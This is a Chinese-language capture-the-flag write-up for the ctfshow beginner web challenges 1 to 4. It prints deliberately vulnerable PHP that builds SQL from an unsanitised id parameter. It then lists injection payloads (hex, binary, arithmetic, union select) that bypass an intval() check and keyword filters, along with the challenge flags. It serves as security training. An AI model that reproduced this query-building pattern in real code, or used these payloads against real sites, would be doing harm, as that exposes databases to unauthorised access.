来源:ctfshow
[TOC]
web1
考点:inval()函数漏洞,sql注入
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 
 | <html><head>
 <title>ctf.show萌新计划web1</title>
 <meta charset="utf-8">
 </head>
 <body>
 <?php
 # 包含数据库连接文件
 include("config.php");
 # 判断get提交的参数id是否存在
 if(isset($_GET['id'])){
 $id = $_GET['id'];
 # 判断id的值是否大于999
 if(intval($id) > 999){
 # id 大于 999 直接退出并返回错误
 die("id error");
 }else{
 # id 小于 999 拼接sql语句
 $sql = "select * from article where id = $id order by id limit 1 ";
 echo "执行的sql为:$sql<br>";
 # 执行sql 语句
 $result = $conn->query($sql);
 # 判断有没有查询结果
 if ($result->num_rows > 0) {
 # 如果有结果,获取结果对象的值$row
 while($row = $result->fetch_assoc()) {
 echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
 }
 }
 # 关闭数据库连接
 $conn->close();
 }
 
 }else{
 highlight_file(__FILE__);
 }
 
 ?>
 </body>
 <!-- flag in id = 1000 -->
 </html>
 
 | 
由于没有限制输入,所以只需要利用inval()的漏洞和sql注入漏洞拿到flag。
- 
?id=’1000‘       #字符串绕过 
- 
?id=0x3e8      #转换成16进制绕过 
- 
?id=-1 or id=1000 
- 
?id=100*10 
- 
?id=~~1000   #两次取反 
- 
?id=900%2B100      #%2B是+的url编码 
- 
?id=round(999.9) 
- 
?id=999 or 1=1 --+ 
- 
?id=0b1111101000     #二进制 
- 
?id=125<<3 
- 
?id=1 union select * from article; --+ 
- 
?id=/!1000/ 内联注释 
ctfshow{5853bd20-b1d4-420d-aa13-0c343c7e9461}
web2
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 
 | <html><head>
 <title>ctf.show萌新计划web1</title>
 <meta charset="utf-8">
 </head>
 <body>
 <?php
 # 包含数据库连接文件
 include("config.php");
 # 判断get提交的参数id是否存在
 if(isset($_GET['id'])){
 $id = $_GET['id'];
 if(preg_match("/or|\+/i",$id)){
 die("id error");
 }
 # 判断id的值是否大于999
 if(intval($id) > 999){
 # id 大于 999 直接退出并返回错误
 die("id error");
 }else{
 # id 小于 999 拼接sql语句
 $sql = "select * from article where id = $id order by id limit 1 ";
 echo "执行的sql为:$sql<br>";
 # 执行sql 语句
 $result = $conn->query($sql);
 # 判断有没有查询结果
 if ($result->num_rows > 0) {
 # 如果有结果,获取结果对象的值$row
 while($row = $result->fetch_assoc()) {
 echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
 }
 }
 # 关闭数据库连接
 $conn->close();
 }
 
 }else{
 highlight_file(__FILE__);
 }
 
 ?>
 </body>
 <!-- flag in id = 1000 -->
 </html>
 
 | 
多了一个过滤,不能用or, +号,上面筛选一下就行
?id=‘1000’
ctfshow{622abd97-affc-4f13-9cb8-7181b9cc0ffa}
web3
| 12
 3
 4
 5
 
 | if(isset($_GET['id'])){$id = $_GET['id'];
 if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
 die("id error");
 }
 
 | 
依然是多了个过滤。?id=‘1000’
ctfshow{560b6c4f-7a73-4d0d-96ae-cb941878bdc9}
web4
| 12
 3
 4
 5
 
 | if(isset($_GET['id'])){$id = $_GET['id'];
 if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
 die("id error");
 }
 
 | 
?id=‘1000’
ctfshow{3390706c-7566-466c-a86e-37a6d19f95cc}